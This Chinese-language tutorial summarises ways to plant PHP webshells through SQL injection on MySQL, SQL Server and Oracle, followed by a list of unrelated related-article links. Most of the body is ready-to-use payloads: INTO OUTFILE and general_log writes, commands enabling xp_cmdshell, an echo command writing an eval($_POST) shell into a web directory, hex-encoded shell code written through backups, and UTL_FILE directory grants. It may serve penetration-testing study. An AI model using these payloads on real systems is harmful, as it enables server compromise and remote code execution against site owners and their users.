各类数据库写入Webhsell总结
1.MySQL写入WebShell
1.1写入条件
数据库的当前用户为ROOT或拥有FILE权限;
知道网站目录的绝对路径;
PHP的GPC参数为off状态;
MySQL中的secure_file_priv参数不能为NULL状态;
关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。
1.2使用outfile方法
outfile方法其实是Mysql提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:
union select “这里是WebShell” into outfile “Web目录”;
当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
1.3使用日志写入webshell
检查当前MySQL下log日志是否开启(on,off),以及log的默认地址在哪里:
show variables like '%general%';
将日志开启
Set global general_log = on;
修改日志写入位置:
Set global general_log_file = 'D:\php\phpstudy_pro\WWW\sqli\Less-7\a.log';
写入木马:
select '<?php eval($_POST['key']);?>';
2.SqlServer写入WebShell
2.1写入条件
有相应的权限db_owner
获得Web目录的绝对路径
首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree
execute master…xp_dirtree‘c:’;可以查出所有c:\下的文件、目录、子目录
查找网站目录的绝对路径
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
2.2利用存储过程写入webshell
Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。
EXEC sp_configure ‘show advanced options’,1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;//打开xp_cmdshell扩展RECONFIGURE;–
打开xp_cmdshell扩展
开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c:%i in (1.php) do @echo %i就可以查询c:\目录下的所有符合1.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。
执行CMD命令查询
使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。
PAYLOAD:1’;execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
2.3利用差异备份写入webshell
首先对某一数据库进行备份。
PAYLOAD:id = 1’;backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
创建一个写webshell的表
PAYLOAD:id = 1’; create table cybk([cmd] [image]);#创建一个新表
其次将WebShell代码写入数据库中,
PAYLOAD:id=1’;insert into cybk[cmd] vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码
PAYLOAD:id=1’; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;
2.3利用log备份写入webshell
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。
3.Oracle写入WebShell
3.1写入条件
1.有DBA权限
2. 获得Web目录的绝对路径
3.2使用文件访问包方法写入Webshell
首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,
在这里我们将其指向/home/oracle这一路径下:
create or replace directory IST0_DIR as ‘/home/oracle’;
创建ORACLE目录对象
创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。
grant read, write on directory IST0_DIR tosystem;
然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。
直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。
各类数据库写入Webhsell总结的更多相关文章
- Scrapy连接到各类数据库(SQLite,Mysql,Mongodb,Redis)
如何使用scrapy连接到(SQLite,Mysql,Mongodb,Redis)数据库,并把爬取的数据存储到相应的数据库中. 一.SQLite 1.修改pipelines.py文件加入如下代码 # ...
- saltstack自动化运维系列④之saltstack的命令返回结果mysql数据库写入
saltstack自动化运维系列④之saltstack的命令返回结果mysql数据库写入salt的返回值写入mysql数据库:可参考:https://docs.saltstack.com/en/lat ...
- Mysql数据库写入数据速度优化
Mysql数据库写入数据速度优化 1)innodb_flush_log_at_trx_commit 默认值为1:设置为0,可以提高写入速度. 值为0:提升写入速度,但是安全方面较差,mysql服务器 ...
- C# 数据库写入Sql Bulk索引损坏异常问题System.InvalidOperationException: DataTable internal index is corrupted: '4'
C# 数据库写入Sql Bulk索引损坏异常问题 System.InvalidOperationException: DataTable internal index is corrupted: '4 ...
- redis数据库写入数据时提示redis.exceptions.ResponseError错误
今天运行Django项目在redis数据库写入数据时提示如下错误: ERROR log 228 Internal Server Error: /image_code/cf9ccd75-d274-45c ...
- .NET 5/.NET Core使用EF Core 5连接MySQL数据库写入/读取数据示例教程
本文首发于<.NET 5/.NET Core使用EF Core 5(Entity Framework Core)连接MySQL数据库写入/读取数据示例教程> 前言 在.NET Core/. ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- java多线程向数据库写入数据
任务: 从sqlserver中将一个表A(约16W条数据)导到mysql中对应的一个表B中. 思路:分段获取A表中的数据后,用多个线程同时向B表中写入. 关键代码 //将数据库中的数据条数分段 pub ...
- MySQL数据库写入图片并读取图片显示到JLabel上的详解
相较于Oracle,MySQL作为一个轻量级的开源的数据库,可谓是大大简化了我们的操作.这次我就来写一个关于数据库存入图片,获取图片的例子吧,也为了今后的复习使用.(我们一般采取存入路径的方式,而不是 ...
- C# 文件与二进制互转数据库写入读出
//这个方法是浏览文件对象 private void button1_Click(object sender, EventArgs e) { //用户打开文件浏览 using (OpenFileDia ...
随机推荐
- 6、Arrays类
Arrays类 Arrays里面包含了一系列静态方法,用于管理或操作数组(比如排序和搜索) 常用方法 toString 返回数组的字符串形式 Arrays.toString(arr) Integer[ ...
- Elasticsearch:跨集群搜索 Cross-cluster search (CCS)
转载自:https://blog.csdn.net/UbuntuTouch/article/details/104588232 跨集群搜索(cross-cluster search)使您可以针对一个或 ...
- ElastAlert监控日志告警Web攻击行为---tomcat和nginx日志json格式
一.ELK安装 1.2 elk配置 logstash自定义配置文件,取名为filebeat_log.conf : input { beats { port => 5044 client_inac ...
- Pjax 下动态加载插件方案
在纯静态网站里,有时候会动态更新某个区域往会选择 Pjax(swup.barba.js)去处理,他们都是使用 ajax 和 pushState 通过真正的永久链接,页面标题和后退按钮提供快速浏览体验. ...
- PAT (Basic Level) Practice 1022 D进制的A+B 分数 20
输入两个非负 10 进制整数 A 和 B (≤230−1),输出 A+B 的 D (1<D≤10)进制数. 输入格式: 输入在一行中依次给出 3 个整数 A.B 和 D. 输出格式: 输出 A+ ...
- 局域网内搭建CentOS PHP 环境
首先我们找到一台已经搭建好的CentOS,IP地址我就不说啦. 我们需要用到的几个工具,一个是SecureCRT用于远程连接,还有一个用于文件上传和下载就是filezilla 准备好了之后,我们就可以 ...
- Tomcat实战之路
目录 第一节.安装升级 1.1.linux初始化 1.2.安装 1.3.升级 第二节.配置 2.1.虚拟主机 2.2.默认网站首页路径 2.3.跳转 2.4.配置Tomcat日志 第三节.安全 3.1 ...
- 4.ElasticSearch系列之基本概念
1. 文档 ElasticSearch是面向文档的,文档是所有可搜索数据的最小单位 文档会被序列化成JSON格式,保存在ES中 每个文档都有一个unique ID #查看前10条文档,了解文档格式 P ...
- 提高工作效率的神器:基于前端表格实现Chrome Excel扩展插件
Chrome插件,官方名称extensions(扩展程序):为了方便理解,以下都称为插件. 我们开发的插件需要在浏览器里面运行,打开浏览器,通过右上角的三个点(自定义及控制)-更多工具-拓展程序-打开 ...
- 齐博x1标签之无刷新显示更多
示范代码如下: <div class="ListMoreInfos"> {qb:tag name="news_list_page_listdata02&quo ...